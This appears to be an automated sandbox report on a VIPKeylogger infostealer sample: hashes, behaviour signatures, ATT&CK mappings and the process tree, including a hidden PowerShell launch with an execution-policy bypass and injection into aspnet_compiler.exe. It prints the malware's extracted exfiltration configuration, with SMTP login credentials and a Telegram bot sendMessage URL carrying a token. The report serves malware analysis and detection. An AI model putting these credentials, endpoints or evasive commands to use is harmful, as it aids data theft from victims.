vipkeylogger | 506153f68d4ba99b4906eef4404d555541e8c5c16f29815bf8a8a99b442b8c9c

Analysis

max time kernel
298s
max time network
188s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 04:03

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General

Target
Rfq.js
Size 2.4MB
Sample260604-emf1taay2j
SHA256 506153f68d4ba99b4906eef4404d555541e8c5c16f29815bf8a8a99b442b8c9c
MD5 4a4030dfda6bfb0388638855d52858eb
SHA1 82b736bbd371feece41301eb7900274057dc56e7
SHA512 2b834d09fb73af19856a1db66cde22639c078faa6dfc9f5f27b73b4f9c4e2a8fa93659fa296e5d0a0e90a16f59243f8b6d03f97aea0c61e9fb1dbc229b4d56d4
SSDEEP 49152:AlDfWsOqVwHx92rY6YDoZUSQtikgD34x8BpwWipeegtsWyy:i
TLSH
T183B56B17D66F974E180D3B61106A5D9AFE89CAFCEF726BC4E0CF90B610EA1110B855B3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution vipkeylogger keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol
smtp
Host
hosting2.ro.hostsailor.com
Port
587
Username
[email protected]
Password
7213575aceACE@@#
Email to
[email protected]

https://api.telegram.org/bot8099843793:AAGeYKMLti1IpyT9o6bz7OtgdXF9md25uXA/sendMessage?chat_id=6337180137

Signatures

Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3444	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.dyndns.org

ConfuserEx .NET packer 1 IoCs

Detects ConfuserEx .NET packer.

resource	yara_rule
behavioral2/memory/3444-12-0x000001DCE8540000-0x000001DCE8554000-memory.dmp	ConfuserEx

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3444 set thread context of 1736	3444	powershell.exe	91

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1396	1736	WerFault.exe	91

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3128	taskkill.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
1736	aspnet_compiler.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe
3444	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3444	powershell.exe
Token: SeDebugPrivilege	1736	aspnet_compiler.exe
Token: SeDebugPrivilege	3128	taskkill.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3580 wrote to memory of 3444	3580	wscript.exe	80
PID 3444 wrote to memory of 4320	3444	powershell.exe	82
PID 3444 wrote to memory of 3004	3444	powershell.exe	83
PID 3444 wrote to memory of 3468	3444	powershell.exe	84
PID 3444 wrote to memory of 3460	3444	powershell.exe	85
PID 3444 wrote to memory of 1424	3444	powershell.exe	86
PID 3444 wrote to memory of 3372	3444	powershell.exe	87
PID 3444 wrote to memory of 5632	3444	powershell.exe	88
PID 3444 wrote to memory of 4452	3444	powershell.exe	89
PID 3444 wrote to memory of 4340	3444	powershell.exe	90
PID 3444 wrote to memory of 1736	3444	powershell.exe	91
PID 3444 wrote to memory of 1736	3444	powershell.exe	91
PID 3444 wrote to memory of 1736	3444	powershell.exe	91
PID 3444 wrote to memory of 1736	3444	powershell.exe	91
PID 3444 wrote to memory of 1736	3444	powershell.exe	91
PID 3580 wrote to memory of 3128	3580	wscript.exe	93

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Rfq.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File "C:\Temp\ps_rkGrYH9ctNVH_1780545798892.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3444
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:4320
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:3004
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:3468
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:3460
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:1424
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:3372
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:5632
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:4452
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:4340
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1736
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1736 -s 1564
      4⤵
      Program crash
      PID:1396
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im wscript.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 1736 -ip 1736
1⤵
PID:720

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

ps_rkGrYH9ctNVH_1780545798892.ps1

Path C:\Temp\ps_rkGrYH9ctNVH_1780545798892.ps1
Size 1.7MB
SHA256 5fbb1e673e9350a8ba59d0eed097e8e55afee84da61f9ed82c40a296721a15da
MD5 027008d99aa34de3753db9dae07b30ac
SHA1 4d47f9d27a6df67bb564295b210e4a7f6551838f
SHA512 57e37d1154d920876962674cfc31bbe6ea33670c26da21ae80f6d27f2161ffb7c7a097cdafae0125b01fc80dd3bc03e10d107523ce7fc99873d903baebfa7329
SSDEEP 24576:NPRt0A6Pq3HVoNL8kAjO5NvsNkWBXQozjjCO:/
TLSH
T1D985BFCAD16E44D29C053FC9A8142BC79B2546328A7400283A7F7D499F7B4FEC15EEE6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_4zfulfnw.3wg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4zfulfnw.3wg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1736-15-0x0000000005A20000-0x0000000005FC6000-memory.dmp

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memory/1736-14-0x0000000000400000-0x0000000000448000-memory.dmp

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memory/1736-16-0x0000000005330000-0x00000000053CC000-memory.dmp

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memory/3444-9-0x000001DCCFE70000-0x000001DCCFE92000-memory.dmp

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memory/3444-10-0x000001DCCFD40000-0x000001DCCFD50000-memory.dmp

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memory/3444-1-0x000001DCCFD40000-0x000001DCCFD50000-memory.dmp

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memory/3444-12-0x000001DCE8540000-0x000001DCE8554000-memory.dmp

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memory/3444-13-0x000001DCE8550000-0x000001DCE8556000-memory.dmp

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memory/3444-2-0x000001DCCFD40000-0x000001DCCFD50000-memory.dmp

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memory/3444-18-0x000001DCCFD40000-0x000001DCCFD50000-memory.dmp

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memory/3444-17-0x000001DCCFD40000-0x000001DCCFD50000-memory.dmp

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